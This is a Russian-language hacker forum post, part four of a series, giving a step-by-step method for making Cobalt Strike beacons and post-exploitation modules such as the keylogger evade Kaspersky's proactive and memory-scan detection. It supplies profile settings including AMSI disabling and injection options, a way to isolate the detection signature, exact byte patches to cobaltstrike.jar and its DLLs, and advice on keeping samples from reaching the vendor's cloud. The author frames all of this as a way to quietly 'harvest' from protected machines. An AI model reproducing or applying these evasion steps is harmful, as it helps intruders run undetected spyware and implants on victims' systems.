Cobalt Strike от А до Я (4 часть.)

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
7,248
Реакции
34
Это продолжение предыдущей части статьи, ее можно найти здесь: alphazine.ru/showthread.php?t=2170
Из третьей статьи мы узнали, что одной частью защиты корпоративных антивирусов является сканер памяти (такие сканеры также имеют разную классификацию).
Но это всего лишь один из "инструментов", а есть еще и проактивка, и firewall, и облачные технологии и т. д.
В данной статье мы рассмотрим проактивную защиту, попытаемся понять на базе чего происходит детект нашего маяка(beacon), как обойти такую систему защиты, и как избавиться от такого детекта, и...
[ . . . ]
Статья разделена на две части. первая часть статьи предназначена для начинающих, а вторая часть для профессионалов (которая появится в этой теме или нет - неизвестно, см. ниже).

С чего же большинство начинаются вот таких обычных статей? Да, - возможно вы это заметили, а начинаются они с того, что там авторы пишут, что для того, чтобы продемонстрировать возможности CobaltStrike'а они предварительно отключили все антивирусы и т. д. чтобы ничего не мешало их демонстрации...
А давайте зададимся вопросом, а сколько в сети систем без имеющегося у них на борту антивируса в качестве системной защиты? Вернее, каков процент беззащитных систем в сети?

В качестве примера, я взял антивирус Kaspersky, а именно KIS - просто так получилось, и я быстро нашел лицензию именно для KIS
Почему именно антивирус Kaspersky?
Просто, потому что Kaspersky хукает в системе всё и вся и даже сам себя, чтобы злые хацкеры его непохекали...
Проактивка - это технология защиты будет посерьезнее чем сканер памяти, так как тут действуют несколько модулей защиты сразу, а именно HIPS, эмулятор кода и т. д. (ниже мы все это подробно разберем)

Начну (вернее продолжу...) с "SleeveUtil" (подробности см. в третей статье во второй части) - этот инструмент, предназначен для самого автора CobaltStrike'а и никак не предполагает, чтобы им кто-то пользовался, но хакер - это тот, кто получает доступ к чему-то потаённому, а именно в нашем случае к данным в шифрованных файлах...

Но для начала стоит отметить, что keylogger.dll, screenshot.dll, portscan.dll, powershell.dll, pivot.dll и т. д. а также их версии x64 (которые находятся в директории sleeve в cobaltstrike.jar) - это постэксплуатационные модули/dll'ки, так называемые jobs'еры :D
Если выполнить команды keylogger и screenwatch, то потом можно будет получить список работающих постэксплуатационных task'ов при помощи команды jobs:

Код:
beacon> jobs
[*] Tasked beacon to list jobs
[+] host called home, sent: 8 bytes
[*] Jobs

JID  PID   Description
 ---  ---   -----------
 0    980    keystroke logger
 1    0      screenwatch

PID 0 указывает на то, что команда была выполнена при помощи Spawn, подробнее об этом см. ниже...

Итак, давайте расшифруем утилитой SleeveUtil, для примера, keylogger.dll, которая находятся в директории sleeve в cobaltstrike.jar
После того как это сделаем, этот расшифрованный файл проверим антивирусом Kaspersky (установленный на VM без доступа к интернету) и увидим, что он детектится антивирусом Kaspersky.

Событие: Обнаружена легальная программа, которая может быть использована злоумышленником для нанесения вреда компьютеру или данным пользователя
Название: HEUR:HackTool.Win32.Inject.heur
Точность: Эвристический анализ

Вообще, такой детект заставляет задуматься о неприятных вещах...
Кстати, так антивирус Kaspersky ругается на все модули, кроме Mimikatz, но одна dll'ка (postex.dll) оказалась без детектов (даже на основе данной этой информации можно понять, как можно почистить)

Давайте в hex-редакторе посмотрим, что у расшифрованной keylogger.dll внутри:

6b58d051aacbb617acb48.png


Здесь, первое с чего надо начинать, так это с анализа того, а есть ли в исследуемом модуле dll потенциально уникальные "палевные" строки.

ВАЖНО: это первое с чего надо всегда начинать чистки "палева" - обычно в процентах ~30 (для .NET этот процент выше) именно строки будут являться частью детекта, ну например, строки API в секции импорта.
Затирая нулями такие строки API можно понять, ну например, какие API не нравятся "эвристическому анализу".

Я взял для примера 010 Editor Portable, так как у него есть все, чтобы продемонстрировать тестовые чистки "палева" для начинающих. Да-да, мы обойдем прокативку антивируса Kaspersky при помощи "обычного" hex-редактора.
Воспользуемся инструментом для поиска строк в 010 Editor (см. на первом скриншоте), и если посмотреть внимательно на данные в keylogger.dll, то можно заметить две строки, которые особенно выделяются в отличии от остальных:

Код:
keylogger.dll
_ReflectiveLoader@4

ReflectiveLoader - это уникальная экспортируемая функция, которая присутствует во всех постэксплуатационных модулях/dll'ках (кроме postex.dll). Теперь, если в этом файле затереть эти строки в hex-редакторе нулями и проверить еще раз антивирусом Kaspersky, то файл keylogger.dll будет FUD.
Вот же ж… блин, я даже отсюда слышу, как кто-то подорвался, все побросал, схватил лом и побежал ломать интернет...

Теперь, давайте, посмотрим какие есть инструменты на борту у CobaltStrike, чтобы противодействовать таким детектам антивируса Kaspersky.
В профиле есть настройки специально предназначенные для этих самых jobs'еров, давайте на них взглянем:

Код:
post-ex {
    # Optionally specify non-existent filepath to force manual specification based on the Beacon host's running processes
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    # Hardcode paths like C:\\Windows\\System32\\dllhost.exe to avoid potential detections for %SYSNATIVE% use. !! This will break when attempting to spawn a 64bit post-ex job from a 32bit Beacon.
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    # change the permissions and content of our post-ex DLLs
    set obfuscate "true";
    # pass key function pointers from Beacon to its child jobs
    set smartinject "true";
    # disable AMSI in powerpick, execute-assembly, and psinject
    set amsi_disable "true";
    # Modify our post-ex pipe names
    set pipename "Winsock2\\CatalogChangeListener-###-0,";
    set keylogger "GetAsyncKeyState";
    #set threadhint "module!function+0x##"
}

Есть еще... но о них будет написано позже...
Нас интересует post-ex.obfuscate "true" - это изменяет dll'ки в значительной степени, чтобы были примерно понятны какие изменения происходят, если включить обфускацию jobs'еров, для примера:

de8fb3e40ffc24e3d1aba.png


Здесь мы видим те же места в дампах, но данные там совершенно разные. Включив obfuscate "true" - мы убрали из keylogger.dll строки _ReflectiveLoader@4 и keylogger.dll
Вообще данное сравнение может многое показать, на базе чего могут быть сделаны детекты, но об этом ближе к концу первой части данной статьи.

Теперь, попробуем отдать команду keylogger в клиенте CobaltStrike, как это было сделано в третьей статье, но здесь у нас уже антивирус Kaspersky и у него есть проактивка...
После того, как командный сервер передаст команду маяку(beacon) о "запуске" кейлоггера, антивирус Kaspersky моментально отреагирует и сообщит пользователю об угрозе и предложит юзеру сделать перезагрузку системы.
Как видим опять, как и в прошлый раз со сканером памяти антивируса ESET, опция obfuscate ничем нам не помогла.

disable AMSI in powerpick, execute-assembly, and psinject
set amsi_disable "true";

Хочу отметить, что если вы захотите, для примера, использовать команду psinject, то модуль powershell.dll также будет замечен проактивной защитой антивируса Kaspersky еще до disable AMSI...
Еще хотел бы добавить, нужно также включать в stage.obfuscate "true" иначе, когда будет срабатывать проактивка антивируса Kaspersky, антивирус будет шарить по памяти и будет находить маяк(beacon).
Поэтому нужно включать обязательно на время тестов post-ex.obfuscate "true" и stage.obfuscate "true", для того чтобы избавиться от детектов антивируса Kaspersky при сканировании памяти при тестах, потом мы будем вынуждены их отключить.

Как избавиться от подобных детектов проактивки антивируса Kaspersky?

Начнем с базовых основ, в CobaltStrike'е есть два основных "механизма" так называемые Spawn и Inject.
Нам нужно для начала знать, какие API используются при их реализации, это нужно чтобы понимать, на какие из этих API будет реагировать HIPS антивируса Kaspersky.
Spawn - запускает указанный процесс CreateProcess (обычно это указывает на то, что прописано в настройках профиля spawnto_x86/spawnto_x64 или было изменено командой spawnto) получая таким образом хэндл процесса, выделяет там память VirtualAllocEx или NtMapViewOfSection, переносит туда данные WriteProcessMemory, и запускает все это при помощи CreateRemoteThread и т. д. (подробнее см. об этом ниже)
а Inject - делает все тоже самое, но разница в том, что указанный в spawnto_x86/spawnto_x64 процесс не запускается, а инжект осуществляется уже в существующий процесс, поэтому мы и указываем в некоторых командах PID.
Из этого PID маяк(beacon) получает хэндл процесса OpenProcess, выделяет там память VirtualAllocEx или NtMapViewOfSection, переносит туда данные WriteProcessMemory, и запускает все это при помощи CreateRemoteThread и т. д. (подробнее см. об этом ниже)

Некоторые команды также делятся на Spawn и Inject варианты, ну вот, допустим, если вести просто команду keylogger без параметров, то запустится процесс указанный в spawnto_x86 или spawnto_x64 в зависимости от системы и туда будет осуществлен инжект, а вот если запустить тот же keylogger, но уже с параметрами указав PID и x86/x64 (здесь мы можем сами указывать x86/x64 в зависимости от того какой модуль получилось почистить), то в этом случае будет инжект в процесс, на который указывает идентификатор процесса (PID).
К слову, когда в команде используется вариант Spawn, то маяк создает отдельный новый процесс для каждой такой команды, что порождает массу новых процессов, и если опытный юзер посмотрит в диспетчер задач и увидит массу таких запущенных процессов, то явно обратит на это свое внимание.

Если попробовать запустить командой execute, например, C:\Windows\System32\dllhost.exe, который указан в профиле для примера выше, то антивирус Kaspersky сразу же среагирует и удалит маяк.
Дело в том, что антивирус Kaspersky не позволяет маяку(beacon) запускать подобные файлы типа:

Код:
C:\Windows\system32\dllhost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\rundll32.exe
. . .

Но можно без проблем запустить, например, execute C:\Windows\System32\gpupdate.exe
Кстати, в том примере, настроек профиля, который выше я взял и скопипастил из просторов github.com, указан именно dllhost.exe, что естественно (если об этом не знать и тупо юзать этот профиль), будет детектить антивирус Kaspersky
У каждого антивируса список таких программ может быть разный, и если не знать такой список, и указывать в настройках профиля spawnto_x86 или spawnto_x64 подобные "палевные" файлы, то результаты будут плачевными.
И если указать, например, в настройках профиля spawnto_x86 C:\Windows\System32\svchost.exe, и после этого мы заюзаем команду, например keylogger, то такой маяк будет удален антивирусом Kaspersky
Как же узнать можно запускать ту или иную программу, не будем же мы устанавливать все 100 антивирусов и тестировать, и составлять эти списки
Тут есть такая команда shell она запускает процесс через cmd.exe /c %windir%\file.exe такой вариант антивирус Kaspersky также будет kill'ять, но при этом не будет удалять наш маяк(beacon).
Используем эту команду shell C:\Windows system32\dllhost.exe и после этого смотрим в Process List, запустился ли этот файл, если да, - то можно при помощи команды spawnto изменить/указать нужный путь для Spawn

Inject Inject'у рознь, тут тоже стоит коснуться одного момента, он также важен во многих отношениях.
Давайте посмотрим, на настройки из файла профиля: (дальше вы поймете для чего эти настройки сделаны отдельно, и бездумное их использование может привести к лишним детектам антивирусов)

Код:
process-inject {
    #Can use NtMapViewOfSection or VirtualAllocEx
    #NtMapViewOfSection only allows same arch to same arch process injection.
    set allocator "VirtualAllocEx";
    set min_alloc "16700";
    set userwx "false";
    set startrwx "true";
    transform-x86 {
        prepend "\x90\x90\x90";
    }
    transform-x64 {
        prepend "\x90\x90\x90";
    }
    execute {
        #Options to spoof start address for CreateThread and CreateRemoteThread, +0x<nums> for offset added to start address. docs recommend ntdll and kernel32 using remote process.

        #start address does not point to the current process space, fires SYSMON 8 events
        #CreateThread;
        #CreateRemoteThread;

        #self injection
        CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";

        #suspended process in post-ex jobs, takes over primary thread of temp process
        SetThreadContext;

        #early bird technique, creates a suspended process, queues an APC call to the process, resumes main thread to execute the APC.
        NtQueueApcThread-s;

        #uses an RWX stub, uses CreateThread with start address that stands out, same arch injection only.
        #NtQueueApcThread;

        #no cross session
        CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";

        #uses an RWX stub, fires SYSMON 8 events, does allow x86->x64 injection.
        RtlCreateUserThread;
    }
}

К опции set userwx "false" мы также вернемся позже, когда будем затрагивать тему эмулятора кода.

Нас интересует сейчас пока NtMapViewOfSection or VirtualAllocEx - с помощью этих API выделяется память в указанном процессе, что напрямую относится к Spawn и Inject описанных ранее.
А также запуск кода, который копируется в эту память и запускается через CreateThread, CreateRemoteThread и т. д., что также напрямую относится к Spawn и Inject описанных ранее.
И разные антивирусы реагируют по-разному на вызов этих системных функций - поэтому нужно внимательно относиться к выбору того или иного варианта, в зависимости от установленного антивируса и НАСТРОЕК HIPS.

f86e487cbd9a69fb83406.png


На скриншоте показаны по умолчанию настройки HIPS, они определяют категории и правила для API, на которые будет реагировать антивирус Kaspersky, ну например, чтение памяти в других процессах ReadProcessMemory (по умолчанию это разрешено), но опытный пользователь может это изменить и запретить чтение памяти в других процессах в результате как только мы попытаемся использовать ReadProcessMemory антивирус Kaspersky тут же среагирует и не предоставит доступ для чтения памяти в другом процессе...
Я это к тому, что если антивирус реагирует на вызов CreateRemoteThread то, это не значит, что он будет реагировать, для примера, на NtQueueApcThread (может пример и неудачный, но все зависит от настроек HIPS и изменений сделанных пользователем), а обычно в профилях CobaltStrike'а указывают сразу все API или как можно больше, не понимая для чего все это нужно. Достаточно посмотреть профили с того же github.com... то есть, нужно собирать информацию о системе (антивирус Kaspersky это разрешает) и уже потом в зависимости от ситуации использовать те или иные настройки.
Важно обращать внимание на правила, которые разрешают доступ к чему-то, я имею ввиду настройки, помеченные зеленым, и также нужно смотреть на запретные, помеченные красным.
Для тестов были взяты настройки по умолчанию проактивки антивируса Kaspersky.
В абзаце про Spawn и Inject мы узнали какие ключевые API используются для реализации данного функционала, а следовательно мы можем понять, как будет реагировать HIPS на те или иные события, ну для примера:
Если включить HIPS, для запросов на подтверждение, то можно будет увидеть вот такие всплывающие алерты:

e2f796c2b1f11430fa1e2.png


Если использовать API ReadProcessMemory, то это заставит антивирус показать алерт о том, что какой-то *.exe пытается прочитать память из другого процесса, а если использовать API WriteProcessMemory, то это заставит антивирус показать алерт о том, что какой-то *.exe пытается внедрить код...
Я сомневаюсь, что какой-то юзер в здравом уме включит показ всех запросов от HIPS для подтверждения, чтобы потом сидеть и тратить свое время на разрешение тех или иных действий от легальных программ. Но вот какие-то изменения все же может сделать, и такие нюансы надо учитывать.

Но самые важные здесь для нас являются на данном этапе из настроек профиля - это опции transform-x86 и transform-x64
transform-xXX - это данные, которые будут добавляться в самое начало prepend и конец append выделяемой памяти в указанном процессе, некоторые антивирусы сканируют память и ищут сигнатуру "MZ" в начале выделенной памяти, transform-xXX позволяет сместить эту сигнатуру, более того можно подставить данные, например, от PNG так как обычно в памяти у многих программ присутствуют эти png-файлы. Я специально убрал все лишнее и сократил сигнатуры, для примера, чтобы было понятно...

Код:
process-inject {
   . . .
   transform-x86 {
      prepend "\x89PNG\x0D\x0A\x1A\x0A\x00\x00\x00\x0DIHDR";
      append "\x00\x00\x00\x00IEND\xAE\x42\x60\x82";
   }
   transform-x64 {
      prepend "\x89PNG\x0D\x0A\x1A\x0A\x00\x00\x00\x0DIHDR";
      append "\x00\x00\x00\x00IEND\xAE\x42\x60\x82";
   }
   . . .
}

Эти данные вместе не должны превышать длину в 250 байт.
Мы можем при помощи данной возможности установить сигнатуру, для того чтобы потом в памяти процесса, в который мы заинжектились, найти этот участок кода и потом сдампить эту память в файл, для дальнейших тестов и чисток "палева".

ВАЖНО: после сделанных изменений в профиле в process-inject -> transform-x86, перезапустим teamserver с измененным профилем и обязательно создадим новый маяк(beacon) как это делали в третьей статье и запустим этот маяк.

Выполняем команду keylogger PID x86, где PID - это ID процесса, ну для примера, calc.exe (отмечу тот факт, что дампить нужно на тестовой VM без наличия антивирусов)
Теперь, мы можем при помощи любых инструментов осуществить поиск нашей сигнатуры в памяти указанного процесса и сохранить эту часть памяти в файл.

ef42fabcf5073b3792565.png


Наша сигнатура будет такой: 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 4D 5A
В 010 Editor можно это сделать как показано на скриншоте выше - открываем процесс, который указывали в keylogger PID, ищем сначала первую сигнатуру, чтобы зафиксировать начало дампа...
ну и конец дампа можно найти по сигнатуре: 00 00 00 00 49 45 4E 44 AE 42 60 82
Выделяем это все от одной сигнатуры до другой и сохраняем это выделение в файл.
Теперь у нас есть дамп памяти, который детектит антивирус Kaspersky в памяти...
Да-да, начинали с проактивки, но подошли опять, как и в третьей статье к сканеру памяти, но на этот раз у нас антивирус Kaspersky и это не совсем банальный сканер памяти... (об этом подробнее см. во второй части)
если такой дамп проверить (как файл) антивирусом Kaspersky, то он будет чистым...

А как может пригодиться этот дамп памяти при чистках, если этот дамп без детектов?
На самом деле он детектится, но при определенных условиях, ему нужно оказаться в памяти вовремя инжекта в другой процесс, - примерно так, если не вдаваться в подробности.
Самый быстрый и простой способ - это сделать, надо просто заюзать команду shinject [pid] <x86|x64> [/path/to/my.bin]
Но для этого нужно будет выполнить ряд условий, одно из главных - это отключить интернет на VM, иначе все эти чистки будут сливаться в лабораторию Kaspersky'ого.
А там их будут быстро анализировать и вешать на них онлайн детекты :D
Вообще для таких тестов, лучше все же использовать криптор, так как маяки при таких тестах будут светиться из-за проактивки Kaspersky'ого как гирлянды на новогодней елке.

ВАЖНО: Ну или хотя бы сделать с десяток копий одного чистого маяка и запускать их из разных директорий... так как проактивка Kaspersky'ого туповатая и такой финт позволяет одну чистую копию маяка использовать очень много раз...
Всегда запускайте еще одну копию маяка из другой директории, чтобы иметь "страховку"...

Теперь возьмем наш дамп и добавим простой код в начало, для того чтобы создать вечный цикл - это нам позволит понять, когда проактивка Kaspersky'ого не сработала, но наш "сырой" дамп заинжектился в указанный процесс.
Вот это нужно вставить в начало файла дампа: 90 90 90 90 90 90 90 90 90 90 EB F4 (эти данные нужно обязательно вставить paste from hex text)
Если, коротко, то это asm-код (x86):

Код:
; NASM
; ndisasm.exe -b 32 loopanop.bin > loopanop.asm
00000000  90    nop
00000001  90    nop
00000002  90    nop
00000003  90    nop
00000004  90    nop
00000005  90    nop
00000006  90    nop
00000007  90    nop
00000008  90    nop
00000009  90    nop
0000000A  EBF4  jmp short 0x00000000

Теперь запускаем кучу калькуляторов и инжектимся в них, и при этом при каждом новом инжекте уменьшаем файл дампа на половину, если коротко, то это DSplit...
Заинжектили и смотрим, пропал ли детект, если нет - уменьшаем файл дампа в два раза и еще раз инжектим и т. д.

ВАЖНО: каждый раз из нового процесса маяка выполняем команду shinject с новым PID калькулятора, и только так.

В результате у нас останется следующее: 90 90 90 90 90 90 90 90 90 90 EB F4 4D 5A E8 00 00 00 00 5B 52 45 55 89 если E5 добавить, то появится детект
Убираем наш лупаноп и получаем вот такое: 4D 5A E8 00 00 00 00 5B 52 45 55 89 E5 - это и есть та сигнатура, по которой наш маяк и детектят в памяти :)
Для того чтобы детект пропал, нам нужно эту сигнатуру изменить, но кто-то спросит, а что это вообще за такое и почему именно это, а ни что-то другое?
На самом деле это asm-код (x86):

Код:
02680012   4D             DEC EBP
02680013   5A             POP EDX
02680014   E8 00000000    CALL 02680019
02680019   5B             POP EBX
0268001A   52             PUSH EDX
0268001B   45             INC EBP
0268001C   55             PUSH EBP
0268001D   89E5           MOV EBP,ESP
-----------------------------------------
0268001F   81C3 291D0000  ADD EBX,1D29
02680025   FFD3           CALL EBX

Позже я еще подробнее объясню, что это за такой за код, но сейчас нам нужно понять, что тут можно изменить, чтобы детект пропал.
4D 5A - трогать нельзя так, как это сигнатура MZ и она нужна для правильной работы ReflectiveLoader
E8 00000000 - трогать нельзя, так как здесь мы получаем адрес памяти, в которой находимся и еще привязаны к смещению...
5B - изменить можно, но только asm-регистр, но это придется изменять "много" кода, чтобы правильно все работало...
52 и 45 - здесь мы видим, что эти два байта являются обязательными, чтобы восстановить валидность кода после выполненной как asm-код сигнатуры MZ с которой начинаются многие исполняемые файлы.
Мы можем поменять местами 52 и 45 на 45 и 52, чтобы проверить пропадет ли детект, сказано - сделано... и вуаля детект дампа пропал... (можно еще 5B местами обменять, то есть 45 5B 52, варианты еще есть, кому надо тот найдет свои...)
Обход проактивки антивируса Kaspersky'ого найден.
Еще хочу сказать пару слов про лупаноп(loopanop) - так как мы его использовали при тестах, а проактивка антивируса Kaspersky'ого все равно находила сигнатуру в памяти, таким образом мы понимаем, что именно сканер памяти нас детектит.
Если бы это был эмулятор кода, то этот эмулятор кода застрял бы в вечном цикле лупанопа, но здесь не все так просто... так как эта часть для начинающих, то многое здесь убрано из контекста данной части, мы подробнее к этой теме еще вернемся во второй части этой статьи.

Ну, хорошо, мы знаем где идет детект, но как это почистить?
Это сделать довольно просто, нужно просто пропатчить CobaltStrike (из второй части данной статьи мы узнаем как это можно сделать НЕ патчив сам CobaltStrike), там надо изменить всего несколько байта, но это работать будет пока об этом не знают и это не попадет в паблик, я покажу как это сделать, но антивирусные специалисты из антивирусной лаборатории Kaspersky'ого, прочитав эту статью подло сделают новый детект и все... поэтому и не пишут статьи на данную тему, так как это глупый слив "чисток" аверам. Да и наивно полагать, что кто-то так просто будет обходы антивирусов постить в паблик.
Но я это покажу, чтобы был понятен сам процесс так называемых чисток вручную, так как без примера, начинающему самостоятельно будет сложно понять, как это можно будет сделать самому.
Но считайте, что этот патч уже не рабочий так как попал в паблик...

ВАЖНО: здесь показан патч для паблик версия CobaltStrike v4.3

Как же нам найти то место, где нужно изменить в CobaltStrike?
Для этого нам нужно сравнить дамп из памяти и расшифрованный файл при помощи утилиты "SleeveUtil" из аттача в третей статье.
Сравнить можно в 010 Editor

cf157bd531d379b394e25.png


Из скриншота видно, где были сделаны изменения и если посмотреть внимательнее, то можно увидеть сигнатуру, по которой маяк и детектится в памяти.
Хочу пояснить, еще одну деталь: перед тем, как сервер отправляет keylogger.dll маяку(beacon) он патчит эту самую keylogger.dll, этот патч нужен длят того, чтобы запустить экспортируемую функцию ReflectiveLoader.
Таким образом он патчит все jobs'еры и по этой причине они почти все детектятся проактивкой Kaspersky'ого
Зная это, мы можем поискать то место патчинга в cobaltstrike.jar, чтобы изменить эти несколько байта патчинга в самом cobaltstrike.jar
Для начала нам нужно поискать строку ReflectiveLoader в файлах *.class в cobaltstrike.jar и узнать в каких файлах строка ReflectiveLoader есть.

Код:
beacon\JobSimple.class
beacon\TaskBeacon.class
common\ReflectiveDLL.class
pe\BeaconRDLL.class
pe\OBJParser.class
pe\PEParser.class

После поиска получим список файлов, в которых эта строка есть и один из файлов будет с именем ReflectiveDLL.class, что как бы нам намекает из названия файла и строки ReflectiveLoader и из справки упоминание Reflective DLL и MZ на их связь.
Теперь нам нужно поискать в файле ReflectiveDLL.class байт со значение E8 (232) ведь именно таким и патчится keylogger.dll при сравнении.
Когда мы попытаемся открыть файл ReflectiveDLL.class в 010 Editor он определит, что это JAVA и предложит использовать шаблон.
Там их будет два, выберем один CLASSAdv.bt этот шаблон парсит данные и отображает в окне Template Result структуру класса, где можно будет примерно понять, что где и зачем, но я не буду вдаваться в подробности, так как байт код JAVA - это вообще тема из другой оперы...
После того как мы найдем байт со значение E8 в файле ReflectiveDLL.class, можно будет примерно понять из структуры данных в окне Template Result, как происходит патчинг jobs'еров:

f615de792669fb7f44b41.png


iconst_0 - это как раз те самые четыре нуля, которые идут после байта со значением E8, ну а далее после этих нулей идут как раз эти три байта, по которым и осуществляется детект.
Нам надо просто заменить в файле ReflectiveDLL.class байт со значением 52 на 45 и байт со значением 45 на 52, как это показано на скриншоте...
После этого заменяем в cobaltstrike.jar (паблик версия CobaltStrike v4.3) в директории common файл ReflectiveDLL.class на наш, который мы пропатчили (это можно сделать, к примеру, в WinRar) - все это нужно делать именно с клиентом
Теперь, если попробовать сделать для тестов просто один скриншот командой screenshot [pid] [x86|x64], то через некоторое время антивирус Kaspersky среагирует и удалит наш маяк.
Тут дело в том, что если внимательнее посмотреть на данные после обфускации на втором скриншоте этой статьи, то можно заметить некую закономерность, если коротко, то антивирус Kaspersky детектит в памяти эти данные после обфускации по энтропии...
Энтропия тут простенькая и однообразная, поэтому тут нет проблем для антивируса Kaspersky, чтобы найти такие данные в памяти, конечно же это не BitDefender, у которого детект по энтропии, пожалуй, самый лучший, но и Kaspersky в этом плане не отстает...
Для того чтобы антивирус Kaspersky не детектил по энтропии, нужно отключить post-ex.obfuscate, но тогда антивирус Kaspersky начнет реагировать на экспортируемую функцию ReflectiveLoader как мы выяснили при тестах еще в самом начале.
Для того чтобы обойти как один детект так и второй, нужно изменить строку ReflectiveLoader, на какую-то свою уникальную, я для примера, взял bypass_kaspersky, главное чтобы это строка была равна длине ReflectiveLoader, то есть 16 байтам.
Ну а далее все просто меняем строку ReflectiveLoader в файле ReflectiveDLL.class на свою, для примера, на bypass_kaspersky (там их будет несколько setReflectiveLoader, findReflectiveLoader и ReflectiveLoader, но менять нужно именно ReflectiveLoader)
Ну и далее, нужно во всех *.dll'ах из директории sleeve в cobaltstrike.jar также заменить строку ReflectiveLoader на bypass_kaspersky - как шифровать и расшифровывать *.dll'ки из директории sleeve в cobaltstrike.jar, я подробно написал в третей статье во второй части. - все это нужно делать именно на стороне клиента
Единственное, что здесь нужно добавить, так это то, что нельзя после такого патчинга включать опцию stage.obfuscate иначе при старте TeamServer'а будет вылетать в консоли ошибка типа такой:

Trapped java.lang.ArrayIndexOutOfBoundsException during Start Beacon: test (windows/beacon_http/reverse_http) bound to port 80 [server call bus]: null

Это из-за того, что CobaltStrike не может найти экспортируемую функцию ReflectiveLoader в beacon.dll и beacon.x64.dll - тоже будет и с остальными модулями...

ВАЖНО: Для того, чтобы создать маяк(beacon) с включенным stage.obfuscate, нужно будет все это делать с НЕ патченной версией CobaltStrike.

Итак, после того как мы научились из третей статьи чистить и создавать определенным образом маяк(beacon), чтобы обозначить наше незаметное присутствие в системе... и в этой статье узнали, что обязательно отключив в настройках профиля post-ex.obfuscate и stage.obfuscate, и пропатчив cobaltstrike.jar, а также все *.dll из директории sleeve в cobaltstrike.jar - мы можем без проблем тихо и незаметно начинать собирать урожай с полей, где установлен гроза полей и огородов пугало антивирус Kaspersky :) (не забывайте, что в RU запрещено...)

f4a85e01bb9b2dae2e243.png


На счет второй части я хз. нужна ли она будет здесь кому-то или нет, а ради одного или двух человек такой релиз в паблик выкладывать - это глупо.
Да тут даже и не в этом дело, просто если сейчас естественно антивирусные специалисты из лаборатории Kaspersky'ого не оставят без внимания такое отверстие в проактивке и постараются прикрыть этот задний проход лопухами.
То после релиза второй части, они всё будут менять очень жестко, причем не только Kaspersky, а и все топовые антивирусы... а это потянет за собой многочисленные изменения и приведёт к неработоспособности софта у других хакеров.
Так что хз. стоит ли так рисковать...

Автор: DarthVader
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.